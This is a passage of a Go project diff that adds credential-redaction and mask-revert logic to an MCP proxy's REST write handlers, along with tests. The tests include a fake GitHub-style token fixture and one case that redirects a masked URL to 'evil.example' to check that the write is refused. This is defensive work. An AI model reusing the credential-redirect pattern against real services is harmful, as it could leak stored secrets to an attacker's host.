`oauth.scopes`, +`isolation.extra_args`, a mask moved to a different key, and a URL mask whose +scheme/host changed. Resend the real value, or omit the field. + See [REST API › PATCH](../api/rest-api.md#patch-apiv1serversname) for the full reference, including the [`/config-to-secret`](../api/rest-api.md#post-apiv1serversnameconfig-to-secret) diff --git a/internal/httpapi/round6_write_parity_test.go b/internal/httpapi/round6_write_parity_test.go new file mode 100644 index 000000000..f0f067fa8 --- /dev/null +++ b/internal/httpapi/round6_write_parity_test.go @@ -0,0 +1,179 @@ +package httpapi + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// Issue #1148, round 6 finding 2. Moving the LIVE rendering onto the REST read +// door is only safe if the REST WRITE door reverts exactly that rendering. +// Without these, `GET` → edit one field → `PATCH` would persist the mask string +// over the live credential — turning a disclosure into corruption, which is the +// one trade this branch must never make. + +const round6Token = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +// storedRound6Server is the server the read door renders and the write door +// must restore. +func storedRound6Server() *config.ServerConfig { + return &config.ServerConfig{ + Name: "github", + Protocol: "streamable-http", + URL: "https://host/mcp?opaque=" + round6Token, + Env: map[string]string{"BENIGN": round6Token}, + Headers: map[string]string{"X-Weird": round6Token}, + Enabled: true, + } +} + +// maskedRound6Payload renders the stored server through the REST READ door, +// exactly as a client would receive it from GET /api/v1/servers. +func maskedRound6Payload(t *testing.T) *contracts.Server { + t.Helper() + stored := storedRound6Server() + view := &contracts.Server{ + Name: stored.Name, + URL: stored.URL, + Env: map[string]string{"BENIGN": stored.Env["BENIGN"]}, + Headers: map[string]string{"X-Weird": stored.Headers["X-Weird"]}, + } + oauth.RedactServerSecretFields(view) + require.NotContains(t, view.URL, round6Token) + require.NotContains(t, view.Env["BENIGN"], round6Token) + require.NotContains(t, view.Headers["X-Weird"], round6Token) + return view +} + +func patchRound6(t *testing.T, body map[string]any) (*httptest.ResponseRecorder, *mockPatchServerController) { + t.Helper() + mockCtrl := &mockPatchServerController{ + apiKey: "test-key", + existingServer: storedRound6Server(), + } + srv := NewServer(mockCtrl, zap.NewNop().Sugar(), nil) + + raw, err := json.Marshal(body) + require.NoError(t, err) + req := httptest.NewRequest(http.MethodPatch, "/api/v1/servers/github", bytes.NewReader(raw)) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-API-Key", "test-key") + w := httptest.NewRecorder() + srv.ServeHTTP(w, req) + return w, mockCtrl +} + +// TestPatchServer_RevertsTheLiveMaskItRendered is the round trip: read the +// masked payload back, echo it into PATCH, and the stored credentials must +// survive untouched. +func TestPatchServer_RevertsTheLiveMaskItRendered(t *testing.T) { + masked := maskedRound6Payload(t) + + w, ctrl := patchRound6(t, map[string]any{ + "url": masked.URL, + "env": map[string]string{"BENIGN": masked.Env["BENIGN"]}, + "headers": map[string]string{"X-Weird": masked.Headers["X-Weird"]}, + }) + + require.Equal(t, http.StatusOK, w.Code, "body=%s", w.Body.String()) + require.NotNil(t, ctrl.capturedUpdates) + assert.Equal(t, "https://host/mcp?opaque="+round6Token, ctrl.capturedUpdates.URL, + "the stored URL credential must not be overwritten by its own mask") + assert.Equal(t, round6Token, ctrl.capturedUpdates.Env["BENIGN"], + "the stored env credential must not be overwritten by its own mask") + assert.Equal(t, round6Token, ctrl.capturedUpdates.Headers["X-Weird"], + "the stored header credential must not be overwritten by its own mask") +} + +// An edit to an unrelated part of the URL must still restore the credential — +// the per-parameter binding is what makes that work. +func TestPatchServer_RevertsTheLiveURLMaskAcrossAnUnrelatedEdit(t *testing.T) { + masked := maskedRound6Payload(t) + edited := replaceOnce(t, masked.URL, "/mcp?", "/mcp/v2?") + + w, ctrl := patchRound6(t, map[string]any{"url": edited}) + + require.Equal(t, http.StatusOK, w.Code, "body=%s", w.Body.String()) + require.NotNil(t, ctrl.capturedUpdates) + assert.Equal(t, "https://host/mcp/v2?opaque="+round6Token, ctrl.capturedUpdates.URL) +} + +// A mask nothing can bind back must be REFUSED, never persisted. +func TestPatchServer_RefusesAMaskItCannotBind(t *testing.T) { + masked := maskedRound6Payload(t) + + t.Run("url moved to another host", func(t *testing.T) { + moved := replaceOnce(t, masked.URL, "https://host/", "https://evil.example/") + w, ctrl := patchRound6(t, map[string]any{"url": moved}) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + assert.Nil(t, ctrl.capturedUpdates, "nothing may be persisted") + }) + + t.Run("env mask relocated to a key it was never read from", func(t *testing.T) { + w, ctrl := patchRound6(t, map[string]any{ + "env": map[string]string{"OTHER": masked.Env["BENIGN"]}, + }) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + assert.Nil(t, ctrl.capturedUpdates, "nothing may be persisted") + }) + + t.Run("mask in a field with no revert at all", func(t *testing.T) { + w, ctrl := patchRound6(t, map[string]any{ + "isolation": map[string]any{"extra_args": []string{"--env", "••••ab (12 chars)"}}, + }) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + assert.Nil(t, ctrl.capturedUpdates, "nothing may be persisted") + }) +} + +// POST has no stored value to bind a mask to, so every mask is a placeholder +// copied out of a read payload and must be refused — on every field, not just +// args (round 6 finding 4's REST half). +func TestAddServer_RefusesEveryEchoedMask(t *testing.T) { + masked := maskedRound6Payload(t) + + for name, body := range map[string]map[string]any{ + "url": {"name": "new", "url": masked.URL}, + "env": {"name": "new", "command": "npx", "env": map[string]string{"BENIGN": masked.Env["BENIGN"]}}, + "headers": {"name": "new", "url": "https://host/mcp", "headers": map[string]string{"X-Weird": masked.Headers["X-Weird"]}}, + } { + t.Run(name, func(t *testing.T) { + mockCtrl := &mockPatchServerController{apiKey: "test-key"} + srv := NewServer(mockCtrl, zap.NewNop().Sugar(), nil) + raw, err := json.Marshal(body) + require.NoError(t, err) + req := httptest.NewRequest(http.MethodPost, "/api/v1/servers", bytes.NewReader(raw)) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-API-Key", "test-key") + w := httptest.NewRecorder() + srv.ServeHTTP(w, req) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + }) + } +} + +func replaceOnce(t *testing.T, s, old, replacement string) string { + t.Helper() + idx := indexOf(s, old) + require.GreaterOrEqual(t, idx, 0, "%q not found in %q", old, s) + return s[:idx] + replacement + s[idx+len(old):] +} + +func indexOf(s, sub string) int { + for i := 0; i+len(sub) <= len(s); i++ { + if s[i:i+len(sub)] == sub { + return i + } + } + return -1 +} diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index 8bbd45bb4..80500c9d6 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -1627,14 +1627,17 @@ func (s *Server) redactServerSecrets(servers []contracts.Server) { // redactServerSecretFields masks the secret-bearing fields of a single server // in place. // -// The field list lives in oauth.RedactServerSecretFields because THREE doors -// serve this struct — the REST list/get path here, the `/events` SSE stream in -// internal/runtime, and the clients reading either — and each used to carry its -// own copy. That is how `args` and `oauth.extra_params` ended up masked on the -// MCP surface and published in the clear on both of these (issue #1148, round 4 -// finding 3). Parity is load-bearing beyond the leak: the Web UI's mergeServers -// treats each payload as authoritative, so a masked-vs-plaintext mismatch would -// flicker on every delivery. +// The field list AND the rules live in oauth.RedactServerSecretFields because +// THREE doors serve this struct — the REST list/get path here, the `/events` +// SSE stream in internal/runtime, and the clients reading either — and each +// used to carry its own copy. That is how `args` and `oauth.extra_params` +// ended up masked on the MCP surface and published in the clear on both of +// these (issue #1148, round 4 finding 3), and how a credential under a benign +// env/header name stayed in the clear here after the field list was shared but +// the value-shaped detector was not (round 6 finding 2). Parity is load-bearing +// beyond the leak: the Web UI's mergeServers treats each payload as +// authoritative, so a masked-vs-plaintext mismatch would flicker on every +// delivery. func redactServerSecretFields(server *contracts.Server) { oauth.RedactServerSecretFields(server) } @@ -2103,6 +2106,17 @@ func (s *Server) handleAddServer(w http.ResponseWriter, r *http.Request) { serverConfig.Isolation = req.Isolation.resolve(nil) } + // #1148 round 6: on CREATE there is no stored value to bind a mask back to, + // so ANY mask this proxy rendered can only be a placeholder copied out of + // another server's read payload — never a value worth persisting. Refusing + // beats persisting literal text like `••••ab (12 chars)` as a credential, + // which produces a server that fails to connect for a non-obvious reason. + // The MCP `upstream_servers add` door runs the same check. + if err := oauth.CheckServerWriteMasks("server.", serverConfig); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + // Add server via controller logger := s.getRequestLogger(r) // T019: Use request-scoped logger if err := s.controller.AddServer(r.Context(), serverConfig); err != nil { @@ -2232,16 +2246,29 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { if req.URL != "" { // #872: the read path masks secrets in the URL query string / userinfo - // (redactServerSecrets → oauth.RedactURLQueryParams), but url is a single - // string field with no field-level diff. If a client edits a non-secret - // part and echoes the masked url back, restore the stored real secrets so - // the mask is never persisted over them. Protects ALL clients, not just - // the tray. + // (redactServerSecrets → oauth.RedactServerSecretFields), but url is a + // single string field with no field-level diff. If a client edits a + // non-secret part and echoes the masked url back, restore the stored + // real secrets so the mask is never persisted over them. Protects ALL + // clients, not just the tray. + // + // #1148 round 6: this is oauth.UnmaskLiveURL, the SAME function the MCP + // patch door calls — the whole-URL echo, then the sensitive-param and + // per-parameter reverts, then a refusal for any mask left unbound. The + // plain oauth.UnmaskURL used here before knew only the params it had + // masked itself, so once the REST read door started masking a + // credential under an unrecognised parameter name the mask was written + // through as the credential. + var storedURL string if existingSrv != nil { - updates.URL = oauth.UnmaskURL(req.URL, existingSrv.URL) - } else { - updates.URL = req.URL + storedURL = existingSrv.URL } + unmaskedURL, err := oauth.UnmaskLiveURL(req.URL, storedURL) + if err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + updates.URL = unmaskedURL hasUpdates = true } if req.Command != "" { @@ -2288,8 +2315,14 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { // #872: a client could echo a masked env value back (the tray diffs, but // other clients may send the full map). Revert any value that is exactly // the masked rendering of the stored one. + // + // #1148 round 6: UnmaskLiveEnvValues first, because the LIVE read door + // masks a vendor-shaped credential under a benign variable name — a + // rendering UnmaskEnvValues (which compares against oauth's own name + // rule) cannot recognise. Both bind by KEY, so a value is only ever + // restored to the variable it was read from. if existingSrv != nil { - merged = oauth.UnmaskEnvValues(merged, existingSrv.Env) + merged = oauth.UnmaskEnvValues(oauth.UnmaskLiveEnvValues(merged, existingSrv.Env), existingSrv.Env) } updates.Env = merged hasUpdates = true @@ -2308,9 +2341,10 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { merged[k] = *vp } } - // #872: revert any masked header value echoed back (see env note above). + // #872 / #1148 round 6: revert any masked header value echoed back (see + // the env note above — same two-step, same key binding). if existingSrv != nil { - merged = oauth.UnmaskHeaders(merged, existingSrv.Headers) + merged = oauth.UnmaskHeaders(oauth.UnmaskLiveHeaders(merged, existingSrv.Headers), existingSrv.Headers) } updates.Headers = merged hasUpdates = true @@ -2418,6 +2452,19 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { return } + // #1148 round 6: the fail-closed net. The key-bound reverts above restored + // every mask this proxy can bind back to the value it was read from; + // anything still carrying one is refused rather than persisted over a live + // credential. This is what covers the fields with no revert (args, + // oauth.scopes, isolation.extra_args) AND every field added to + // config.ServerConfig later — a new field fails CLOSED instead of silently + // round-tripping its own mask into the config. See + // oauth.ServerFieldMaskDecisions. + if err := oauth.CheckServerWriteMasks("server.", updates); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + logger := s.getRequestLogger(r) if err := s.controller.UpdateServer(r.Context(), serverName, updates); err != nil { diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 226e0e961..1ededb743 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -719,8 +719,14 @@ func UnmaskHeaders(incoming, stored map[string]string) map[string]string { // renders one (key, value) pair; reused by UnmaskHeaders to recognise echoed // masks. func maskedHeaderValue(key, value string) string { + return maskedHeaderValueWith(key, value, MaskValue) +} + +// maskedHeaderValueWith is maskedHeaderValue with a caller-chosen mask. See +// RedactStringHeadersWith for why the audit surfaces need a different one. +func maskedHeaderValueWith(key, value string, mask func(string) string) string { if isSensitiveHeaderKey(key) { - return MaskValue(value) + return mask(value) } return RedactSensitiveData(value) } diff --git a/internal/oauth/redactview.go b/internal/oauth/redactview.go index 99a97d80b..3f0089609 100644 --- a/internal/oauth/redactview.go +++ b/internal/oauth/redactview.go @@ -26,34 +26,37 @@ import ( // read rendering and the write revert defined side by side, which is the // invariant this issue keeps breaking. -// Redaction is the pair of decisions that separate the two surfaces the rules -// serve. The RULES — which key names are sensitive, which values look like -// credentials, how argv pairs up — are shared; only the rendering and whether -// the value-shaped detector runs over oauth's own contracted leaves differ, so -// the two surfaces cannot drift on the part that decides what is a secret. +// Redaction is the shared rule set for masking one server's secret-bearing +// leaves. The RULES — which key names are sensitive, which values look like +// credentials, how argv pairs up, how a URL is rendered component-wise — are +// shared by EVERY door: the MCP `upstream_servers list` / +// `quarantine_security list_quarantined` payloads, `GET /api/v1/servers`, the +// `/events` SSE `servers.changed` payload and the activity store. Only the +// mask RENDERING differs, and that difference is the one thing this struct +// carries. type Redaction struct { // Mask renders one masked secret. Defaults to MaskValue when nil. Mask func(string) string - // DetectContracted runs the value-shaped secret detector over the THREE - // leaf kinds this package owns a write-path unmask contract for — env - // values, header values and the server URL — EVEN WHEN the name/URL rules - // already rewrote them. + // DetectContracted collapses a URL-shaped rendering: the value-shaped + // detector runs over the WHOLE string rather than component by component. // - // Only the AUDIT policy sets it. Audit rows are never written back, so - // nothing constrains their rendering and maximal masking wins. + // Only the AUDIT policy sets it. Audit rows are never written back and are + // never edited by an operator, so nothing constrains their rendering and + // maximal masking wins. // - // A LIVE surface cannot mask unconditionally: UnmaskEnvValues / - // UnmaskHeaders / UnmaskURL recognise an echoed mask by comparing against - // this package's own rendering byte for byte, and #872 deliberately renders - // a connection string component-wise (`postgres://u:••••(N chars)@host/db`) + // A LIVE surface cannot collapse the rendering: #872 deliberately renders a + // connection string component-wise (`postgres://u:••••(N chars)@host/db`) // so an operator can edit the database name without the password mask being - // persisted as the password. + // persisted as the password, and UnmaskURL recognises exactly that + // rendering on the write path. // - // It does NOT follow that a live surface skips the detector entirely: a - // vendor-shaped credential under a benign name (`env: {BENIGN: ghp_…}`) is - // invisible to the name matcher. detectContracted below carries the narrow - // rule that closes that without collapsing the component-wise rendering. + // It does NOT follow that a live surface skips the detector. Round 6 + // finding 1: the old guard skipped it for the ENTIRE string as soon as the + // name rule rewrote any one component, so a URL holding two credentials + // published the second in the clear. The detector now runs per component + // (see maskDetectedPreservingURL), which closes that without collapsing + // anything the write path depends on. DetectContracted bool } @@ -78,8 +81,8 @@ func (r Redaction) masker() func(string) string { // then by the value's own shape. // // The name rule decides first — it is what keeps the payload readable and says -// WHICH credential is configured — and whatever it passes through is offered to -// the value-shaped detector. A key name is never the only rule: `--endpoint=ghp_…`, +// WHICH credential is configured — and whatever survives it is offered to the +// value-shaped detector. A key name is never the only rule: `--endpoint=ghp_…`, // a credential under a header name no matcher recognises, or a token pasted // into a field nobody thought of is invisible to name matching and obvious to // the detector. @@ -91,25 +94,24 @@ func (r Redaction) Leaf(key, s string) string { case IsHeadersFieldName(key): return r.HeaderValue(key, s) case strings.EqualFold(key, "url"): - return r.detectContracted(s, RedactURLQueryParamsWith(s, r.masker())) + return r.URLValue(s) default: // An UNCONTRACTED leaf: a plain config field, a future field, or an - // argv token's value. Nothing unmasks these, so the detector always - // runs. The env-var rule is this package's single source of truth for - // "does this key name look like it holds a secret": it masks - // sensitive-looking keys, passes ${keyring:…}/${env:…} references - // through, URL-redacts connection strings, and runs RedactSensitiveData - // over everything else as defence in depth. - named := RedactEnvValuesWith(map[string]string{key: s}, r.masker())[key] - return MaskDetectedSecrets(named) + // argv token's value. The env-var rule is this package's single source + // of truth for "does this key name look like it holds a secret": it + // masks sensitive-looking keys, passes ${keyring:…}/${env:…} + // references through, URL-redacts connection strings, and runs + // RedactSensitiveData over everything else. + return r.finish(s, maskedEnvValueWith(key, s, r.masker())) } } -// EnvValue masks one environment-variable leaf, reproducing maskedEnvValue -// exactly so UnmaskEnvValues can recognise the rendering if a client echoes it -// back on the write path. +// EnvValue masks one environment-variable leaf, reproducing maskedEnvValue's +// NAME rule exactly so UnmaskEnvValues can recognise the rendering if a client +// echoes it back on the write path, then running the value-shaped detector over +// whatever the name rule left of the original value. func (r Redaction) EnvValue(name, value string) string { - return r.detectContracted(value, RedactEnvValuesWith(map[string]string{name: value}, r.masker())[name]) + return r.finish(value, maskedEnvValueWith(name, value, r.masker())) } // HeaderValue masks one HTTP header leaf, judged by the header NAME first and @@ -117,32 +119,122 @@ func (r Redaction) EnvValue(name, value string) string { // sufficient: the name matcher cannot enumerate every custom credential header, // and the detector cannot recognise an opaque value with no credential shape. func (r Redaction) HeaderValue(name, value string) string { - return r.detectContracted(value, RedactStringHeadersWith(map[string]string{name: value}, r.masker())[name]) + return r.finish(value, maskedHeaderValueWith(name, value, r.masker())) } -// detectContracted runs the value-shaped detector over a leaf this package owns -// a write-path unmask contract for. `original` is the value before the name/URL -// rule ran, `masked` the value after. +// URLValue masks one URL leaf: the name rule first (sensitive query parameters +// and the userinfo password, rendered component-wise per #872), then the +// value-shaped detector over every component the name rule left alone. +func (r Redaction) URLValue(s string) string { + return r.finish(s, RedactURLQueryParamsWith(s, r.masker())) +} + +// finish runs the value-shaped detector over the output of a NAME rule. +// `original` is the leaf before the name rule ran, `masked` after it. // -// AUDIT: always. Nothing writes back through an audit row. +// The detector is what closes the gap the name rules structurally cannot see: a +// vendor-shaped credential under a benign key (`env: {BENIGN: ghp_…}`), a +// header name no matcher enumerates, a query parameter called `opaque`. // -// LIVE: only when the name/URL rule left the value BYTE-IDENTICAL — exactly the -// gap where a credential the name matcher cannot see (`ghp_…` under -// `BENIGN_NAME`) would otherwise be published. The guard is what keeps it from -// collapsing the #872 component-wise connection-string rendering, whose -// readable scheme/host/db the operator's edit flow depends on. +// It is skipped in exactly ONE case: when the name rule already replaced the +// WHOLE value with this package's own mask rendering. No byte of the secret +// survives there for the detector to find, and re-masking would produce a +// rendering UnmaskEnvValues / UnmaskHeaders could not recognise on the write +// path — trading a non-disclosure for the read-modify-write corruption of +// #1142/#1146. // -// When the detector DOES fire on a live surface the rendering is no longer this -// package's, so UnmaskEnvValues / UnmaskHeaders / UnmaskURL can no longer -// recognise an echoed mask. The live surfaces reproduce THIS rendering on the -// write path (see UnmaskLiveURLParams here, and unmaskLive* in -// internal/server/mcp_server_view.go), so the round trip still cannot persist a -// mask over a secret. -func (r Redaction) detectContracted(original, masked string) string { - if !r.DetectContracted && masked != original { +// Everything else — a partially-rewritten value, a URL rendered component-wise, +// an untouched one — still carries original bytes, so the detector runs. For a +// URL it runs PER COMPONENT so the scheme, host and component-wise userinfo +// mask the write path binds to are preserved (round 6 finding 1). +func (r Redaction) finish(original, masked string) string { + if r.DetectContracted { + return MaskDetectedSecrets(masked) + } + if masked == r.masker()(original) { return masked } - return MaskDetectedSecrets(masked) + return maskDetectedPreservingURL(masked) +} + +// maskDetectedPreservingURL runs the value-shaped detector over s, component by +// component when s is a whole absolute URL. +// +// Round 6 finding 1. The detector must not be handed a URL whole on a LIVE +// surface: it would re-mask the `•••• ( chars)` userinfo/query +// renderings that UnmaskURL binds to on the write path. But skipping it for the +// whole string — which is what the old `masked != original` guard did — meant +// one masked component silenced the detector for every other one, publishing a +// second credential in the clear. +// +// So it runs on the components the name rule does not own: the path, the +// fragment, and every query parameter whose name no matcher recognises. Those +// are exactly the components UnmaskLiveURLParams reverts, and the ones it +// cannot are refused by the write doors' residual-mask check. +func maskDetectedPreservingURL(s string) string { + if u, err := url.Parse(s); err != nil || u.Scheme == "" || u.Host == "" { + return MaskDetectedSecrets(s) + } + + main, fragment, hasFragment := strings.Cut(s, "#") + base, rawQuery, hasQuery := strings.Cut(main, "?") + + out := maskDetectedInURLPath(base) + if hasQuery { + out += "?" + maskDetectedInURLQuery(rawQuery) + } + if hasFragment { + out += "#" + MaskDetectedSecrets(fragment) + } + return out +} + +// maskDetectedInURLPath runs the detector over the PATH of `scheme://authority/path`, +// leaving the scheme, the host and the userinfo — whose password the name rule +// has already rendered component-wise — byte-identical. +func maskDetectedInURLPath(base string) string { + start := 0 + if i := strings.Index(base, "://"); i >= 0 { + start = i + len("://") + } + slash := strings.IndexByte(base[start:], '/') + if slash < 0 { + return base + } + cut := start + slash + return base[:cut] + MaskDetectedSecrets(base[cut:]) +} + +// maskDetectedInURLQuery runs the detector over each query parameter value the +// NAME rule did not already mask. +// +// The detector sees the RAW (still percent-encoded) value bytes, because that +// is what UnmaskLiveURLParams compares against when it reverts an echoed mask +// per parameter — the two must render the same bytes or the revert silently +// stops working. +func maskDetectedInURLQuery(rawQuery string) string { + parts := strings.Split(rawQuery, "&") + for i, part := range parts { + eq := strings.IndexByte(part, '=') + if eq < 0 { + // A bare token carries no parameter name at all, so nothing but the + // detector can judge it. + parts[i] = MaskDetectedSecrets(part) + continue + } + key, value := part[:eq], part[eq+1:] + if isSensitiveQueryParam(queryUnescapeOr(key)) { + // The name rule already replaced this value with MaskValue's + // rendering; re-masking it would defeat UnmaskURL. + continue + } + if isConfigReference(queryUnescapeOr(value)) { + // A ${keyring:…} / ${env:…} label, not a secret. + continue + } + parts[i] = key + "=" + MaskDetectedSecrets(value) + } + return strings.Join(parts, "&") } // Argv masks a command-line argument vector. Returns nil for nil. diff --git a/internal/oauth/round6_one_rule_test.go b/internal/oauth/round6_one_rule_test.go new file mode 100644 index 000000000..bdad14e2b --- /dev/null +++ b/internal/oauth/round6_one_rule_test.go @@ -0,0 +1,257 @@ +package oauth + +import ( + "reflect" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148, round 6. Every round of this review found the same shape: a rule +// applied at one door and not its sibling. These tests pin the invariant the +// branch is now structured around — ONE redaction rule and ONE revert rule, +// shared by every read and every write door. + +// ghpToken is a GitHub personal access token in the shape the value-shaped +// detector recognises. It is what a NAME rule can never see: no field name, +// query parameter or header name says "this holds a credential". +const ghpToken = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +// ghpMasked is what the detector renders it as. +const ghpMasked = "ghp_…****" + +// ROUND 6, FINDING 1 — the value-shaped detector must run PER COMPONENT of a +// URL, not be gated on whether the whole URL string changed. +// +// The old guard skipped the detector for the entire string as soon as the NAME +// rule rewrote any one component, so a URL holding TWO credentials published +// the second one verbatim. +func TestLiveRedaction_URLDetectorRunsPerComponent(t *testing.T) { + cases := []struct { + name string + rawURL string + mustSurvive []string + }{ + { + name: "no name rule fires", + rawURL: "https://host/mcp?opaque=" + ghpToken, + mustSurvive: []string{"https://host/mcp", "opaque="}, + }, + { + name: "name rule masks a SIBLING query parameter", + rawURL: "https://host/mcp?token=abc123def456&opaque=" + ghpToken, + mustSurvive: []string{"https://host/mcp", "opaque="}, + }, + { + name: "name rule masks the userinfo password", + rawURL: "https://u:supersecretpw@host/mcp?opaque=" + ghpToken, + mustSurvive: []string{"@host/mcp", "opaque="}, + }, + { + name: "credential sits in the path", + rawURL: "https://host/" + ghpToken + "/mcp", + mustSurvive: []string{"https://host/"}, + }, + { + name: "credential sits in the fragment", + rawURL: "https://host/mcp#" + ghpToken, + mustSurvive: []string{"https://host/mcp"}, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := LiveRedaction.Leaf("url", tc.rawURL) + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) + assert.Contains(t, got, ghpMasked, "credential should carry the detector's mask: %s", got) + for _, keep := range tc.mustSurvive { + assert.Contains(t, got, keep, + "#872 component-wise rendering must survive: %s", got) + } + }) + } +} + +// The same shape one leaf down: a connection string under a benign env name +// whose userinfo password the NAME rule masks, holding a second credential in +// its query string. +func TestLiveRedaction_EnvURLValueDetectsBesideTheNameMask(t *testing.T) { + got := LiveRedaction.EnvValue("DATABASE_URL", "postgres://u:supersecretpw@host/db?opaque="+ghpToken) + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) + assert.Contains(t, got, "@host/db", "#872 component-wise rendering must survive: %s", got) + assert.NotContains(t, got, "supersecretpw", "userinfo password must stay masked: %s", got) +} + +// And on a header value whose name rule fired on an embedded `token=` pair. +func TestLiveRedaction_HeaderDetectsBesideTheNameMask(t *testing.T) { + got := LiveRedaction.HeaderValue("X-Weird", "token=abc123def456 "+ghpToken) + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) +} + +// ROUND 6, FINDING 2 — RedactServerSecretFields (the REST + SSE door) must +// apply the SAME rule as the MCP door, value-shaped detector included. +func TestRedactServerSecretFields_AppliesTheSharedLeafRule(t *testing.T) { + srv := &contracts.Server{ + Name: "s", + URL: "https://host/mcp?opaque=" + ghpToken, + Env: map[string]string{"BENIGN": ghpToken}, + Headers: map[string]string{"X-Weird": ghpToken}, + } + RedactServerSecretFields(srv) + + assert.Equal(t, LiveRedaction.EnvValue("BENIGN", ghpToken), srv.Env["BENIGN"], + "REST env must render exactly what the MCP door renders") + assert.Equal(t, LiveRedaction.HeaderValue("X-Weird", ghpToken), srv.Headers["X-Weird"], + "REST headers must render exactly what the MCP door renders") + assert.Equal(t, LiveRedaction.Leaf("url", "https://host/mcp?opaque="+ghpToken), srv.URL, + "REST url must render exactly what the MCP door renders") + + for _, got := range []string{srv.Env["BENIGN"], srv.Headers["X-Weird"], srv.URL} { + assert.NotContains(t, got, ghpToken, "credential published verbatim: %s", got) + } +} + +// ROUND 6, FINDING 3 — oauth.scopes is masked on the MCP door; the REST/SSE +// door must not answer differently for the same field. +func TestRedactServerSecretFields_MasksOAuthScopes(t *testing.T) { + srv := &contracts.Server{ + Name: "s", + OAuth: &contracts.OAuthConfig{ + Scopes: []string{"read:user", ghpToken}, + ExtraParams: map[string]string{"resource": "https://api/x"}, + }, + } + RedactServerSecretFields(srv) + + require.Len(t, srv.OAuth.Scopes, 2) + assert.Equal(t, "read:user", srv.OAuth.Scopes[0], "an ordinary scope stays readable") + assert.NotContains(t, srv.OAuth.Scopes[1], ghpToken, "credential-shaped scope published verbatim") + assert.True(t, strings.Contains(srv.OAuth.Scopes[1], ghpMasked), + "credential-shaped scope should carry the detector's mask: %s", srv.OAuth.Scopes[1]) +} + +// ROUND 6, GUIDING PRINCIPLE — the per-field decision is made ONCE, and a field +// added to either server struct cannot silently opt out of it. +// +// Five review rounds on this issue found the same shape every time: a rule +// applied at one door and not its sibling, or a field masked on read with no +// answer on write. This test is the structural guard. It fails when a field +// appears on the wire without a recorded decision, which forces the author to +// answer "revert bound to what key, or refuse?" instead of inheriting "leaked +// by default" or "corrupted by default". +func TestServerFieldMaskDecisions_CoverEveryServerField(t *testing.T) { + for _, subject := range []struct { + name string + typ reflect.Type + }{ + {"config.ServerConfig", reflect.TypeOf(config.ServerConfig{})}, + {"contracts.Server", reflect.TypeOf(contracts.Server{})}, + } { + t.Run(subject.name, func(t *testing.T) { + for i := 0; i < subject.typ.NumField(); i++ { + field := subject.typ.Field(i) + if !field.IsExported() { + continue + } + name := jsonFieldName(field) + if name == "" || name == "-" { + continue + } + decision, ok := ServerFieldMaskDecisions[name] + require.True(t, ok, + "%s.%s is on the wire as %q with no entry in oauth.ServerFieldMaskDecisions.\n"+ + "Every server field needs an answer to: when a client echoes this field's mask back on a "+ + "write, is it REVERTED (bound to which key?) or REFUSED? Record it there — the default of "+ + "silence is exactly what issue #1148 kept re-creating.", + subject.name, field.Name, name) + require.Contains(t, + []MaskDecision{MaskDecisionRevertByKey, MaskDecisionRefuse, MaskDecisionNotSecret}, + decision, "%s: unknown decision %q", name, decision) + } + }) + } +} + +// The table must not accumulate entries for fields that no longer exist — +// a stale row reads as a decision that is being enforced somewhere when it is +// not. +func TestServerFieldMaskDecisions_HaveNoStaleEntries(t *testing.T) { + onTheWire := map[string]bool{} + for _, typ := range []reflect.Type{reflect.TypeOf(config.ServerConfig{}), reflect.TypeOf(contracts.Server{})} { + for i := 0; i < typ.NumField(); i++ { + if name := jsonFieldName(typ.Field(i)); name != "" && name != "-" { + onTheWire[name] = true + } + } + } + for name := range ServerFieldMaskDecisions { + assert.True(t, onTheWire[name], + "oauth.ServerFieldMaskDecisions has a decision for %q, which is no longer a field of "+ + "config.ServerConfig or contracts.Server", name) + } +} + +func jsonFieldName(field reflect.StructField) string { + tag := field.Tag.Get("json") + if tag == "" { + return "" + } + name, _, _ := strings.Cut(tag, ",") + return name +} + +// ROUND 6, FINDING 2's OTHER HALF — masking a value on the REST read door is +// only safe if the REST write door can revert exactly that rendering. These +// pin the round trip at the rule level; internal/httpapi's +// round6_write_parity_test.go pins it through the actual handler. +func TestUnmaskLive_RevertsWhatTheLiveDoorRendered(t *testing.T) { + t.Run("env", func(t *testing.T) { + stored := map[string]string{"BENIGN": ghpToken} + echoed := map[string]string{"BENIGN": LiveRedaction.EnvValue("BENIGN", ghpToken)} + require.NotEqual(t, stored, echoed, "precondition: the read door masks it") + assert.Equal(t, stored, UnmaskLiveEnvValues(echoed, stored)) + }) + + t.Run("headers", func(t *testing.T) { + stored := map[string]string{"X-Weird": ghpToken} + 